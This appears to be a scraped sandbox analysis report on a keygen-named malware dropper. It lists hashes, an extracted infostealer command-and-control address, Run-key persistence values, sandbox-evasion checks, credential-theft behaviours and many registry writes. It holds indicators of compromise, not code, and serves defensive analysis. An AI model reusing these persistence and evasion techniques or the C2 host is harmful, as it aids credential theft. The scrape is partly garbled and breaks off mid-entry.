Overview
overview
10Static
static
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10win102
windows10_x64
10win102
windows10_x64
10win102
windows10_x64
10win102
windows10_x64
8win104
windows10_x64
10win104
windows10_x64
win104
windows10_x64
win104
windows10_x64
10win105
windows10_x64
win105
windows10_x64
10win105
windows10_x64
win105
windows10_x64
10win106
windows10_x64
10win106
windows10_x64
10win106
windows10_x64
10win106
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win103
windows10_x64
10win101
windows10_x64
win101
windows10_x64
10win101
windows10_x64
10win101
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10win100
windows10_x64
10Resubmissions
12/11/2024, 01:29
241112-bwgrxs1gnf 1008/07/2021, 12:18
210708-8z6d5h8z2n 1006/07/2021, 17:53
210706-g6we6sa7sa 1019/06/2021, 18:17
210619-vr8bj2dzfn 1017/06/2021, 21:39
210617-a9cvlnmrbx 1011/06/2021, 17:26
210611-wvab1yw2tj 1008/06/2021, 06:47
210608-qrbpch3y46 1008/06/2021, 06:47
210608-64tndgm1ln 1005/06/2021, 18:40
210605-cd6qpr55sx 1004/06/2021, 11:56
210604-5c416rs3ns 10Analysis
-
max time kernel
1804s -
max time network
1798s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
26/04/2021, 18:02
Static task
static1
Behavioral task
behavioral1
Sample
Install.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Install2.exe
Resource
win7v20210408
Behavioral task
behavioral3
Sample
keygen-step-4.exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
keygen-step-4d.exe
Resource
win7v20210410
Behavioral task
behavioral5
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral8
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral10
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral12
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral14
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral16
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral18
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral20
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral22
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral24
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral26
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral28
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral30
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral32
Sample
keygen-step-4d.exe
Resource
win10v20210410
General
-
Target
keygen-step-4.exe
-
Size
4.6MB
-
MD5
563107b1df2a00f4ec868acd9e08a205
-
SHA1
9cb9c91d66292f5317aa50d92e38834861e9c9b7
-
SHA256
bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9
-
SHA512
99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1
Malware Config
Extracted
fickerstealer
sodaandcoke.top:80
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4808 created 5336 4808 svchost.exe 202 -
fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 2 IoCs
resource yara_rule behavioral31/memory/2784-265-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral31/memory/2784-270-0x00000001402CA898-mapping.dmp xmrig -
Blocklisted process makes network request 18 IoCs
flow pid Process 109 2784 msiexec.exe 113 1596 cmd.exe 114 1596 cmd.exe 116 1596 cmd.exe 122 1596 cmd.exe 131 1596 cmd.exe 132 1596 cmd.exe 136 1596 cmd.exe 138 1596 cmd.exe 139 1596 cmd.exe 142 1596 cmd.exe 143 1596 cmd.exe 144 1596 cmd.exe 145 1596 cmd.exe 148 1596 cmd.exe 109 2784 msiexec.exe 275 2784 msiexec.exe 304 2784 msiexec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe -
Executes dropped EXE 41 IoCs
pid Process 4076 xiuhuali.exe 1060 JoSetp.exe 1080 Install.exe 3416 Install.tmp 2284 Ultra.exe 3856 ultramediaburner.exe 2848 ultramediaburner.tmp 736 Colilugaevae.exe 2256 UltraMediaBurner.exe 2360 Nymaewohoqo.exe 4176 filee.exe 5080 instEU.exe 3348 AF31.tmp.exe 4464 B1E2.tmp.exe 4676 B398.tmp.exe 2184 google-game.exe 5012 AF31.tmp.exe 4256 md1_1eaf.exe 5124 askinstall39.exe 5232 jg6_6asg.exe 5872 y1.exe 5680 SunLabsPlayer.exe 6108 inst.exe 3772 bXcxvDQ0Jj.exe 5588 1619467787940.exe 5140 gaoou.exe 3096 jfiag3g_gg.exe 1080 jfiag3g_gg.exe 5952 data_load.exe 6008 data_load.exe 4184 lighteningplayer-cache-gen.exe 5336 app.exe 5064 c7ae36fa.exe 5176 app.exe 5412 8062.exe 3944 8C4A.exe 3192 8062.exe 1336 hwtgcgh 5256 jfiag3g_gg.exe 5512 hwtgcgh 5076 jfiag3g_gg.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation Colilugaevae.exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation keygen-step-4.exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation cmd.exe -
Loads dropped DLL 64 IoCs
pid Process 1952 rundll32.exe 3416 Install.tmp 2216 rundll32.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5872 y1.exe 5872 y1.exe 5872 y1.exe 5872 y1.exe 5872 y1.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5528 rundll32.exe 5088 rundll32.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 5680 SunLabsPlayer.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe 4184 lighteningplayer-cache-gen.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\Terudulodo.exe\"" Ultra.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run B398.tmp.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\dfgj54u354j = "C:\\Users\\Admin\\AppData\\Roaming\\dfgj54u354j.exe" B398.tmp.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run B1E2.tmp.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe" B1E2.tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gaoou.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg6_6asg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md1_1eaf.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 165 api.myip.com 166 api.myip.com 172 ip-api.com 23 ip-api.com 92 api.ipify.org -
Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\DpXBQZwjVvXI svchost.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\0GNQZJJP.cookie svchost.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 52906FD1CDC0DFFD svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\0GNQZJJP.cookie svchost.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 988 set thread context of 3776 988 svchost.exe 79 PID 4464 set thread context of 184 4464 B1E2.tmp.exe 106 PID 4464 set thread context of 2784 4464 B1E2.tmp.exe 111 PID 3348 set thread context of 5012 3348 AF31.tmp.exe 121 PID 5412 set thread context of 3192 5412 8062.exe 214 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\lighteningplayer\lua\intf\cli.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libsmf_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\vlm_export.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libattachment_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtcp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_concat_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libau_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\DpXBQZwjVvXI powershell.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\view.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\02_frenchtv.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\sd\icecast.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\keystore\libmemory_keystore_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\liblogger_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libmosaic_plugin.dll SunLabsPlayer.exe File created C:\Program Files\nvsmartmax.dll google-game.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Video-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_flac_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsvorepository_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libfreetype_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\dailymotion.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\DpXBQZwjVvXI\cache.dat rundll32.exe File created C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libwall_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\d3d11\libdirect3d11_filters_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_asf_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libaudiobargraph_v_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libimage_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Audio-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\ui.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libvcd_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_copy_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mlp_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\DpXBQZwjVvXI\DpXBQZwjVvXI.dll powershell.exe File created C:\Program Files (x86)\UltraMediaBurner\is-AG5UI.tmp ultramediaburner.tmp File opened for modification C:\Program Files\install.dll google-game.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\equalizer_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libmpgv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_mms_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libvdr_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\regstr SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile_equalizer.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\batch_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dts_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\UltraMediaBurner\is-941VP.tmp ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\temp_files SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libty_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libmarq_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer.ico SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Back-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libflacsys_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html SunLabsPlayer.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 2 IoCs
resource yara_rule behavioral31/files/0x000100000001abc5-335.dat nsis_installer_2 behavioral31/files/0x000100000001abc5-334.dat nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hwtgcgh Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hwtgcgh Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hwtgcgh Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hwtgcgh Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hwtgcgh Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hwtgcgh Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI c7ae36fa.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AF31.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AF31.tmp.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 544 timeout.exe 5024 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 4884 bitsadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 5944 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main cmd.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" app.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local 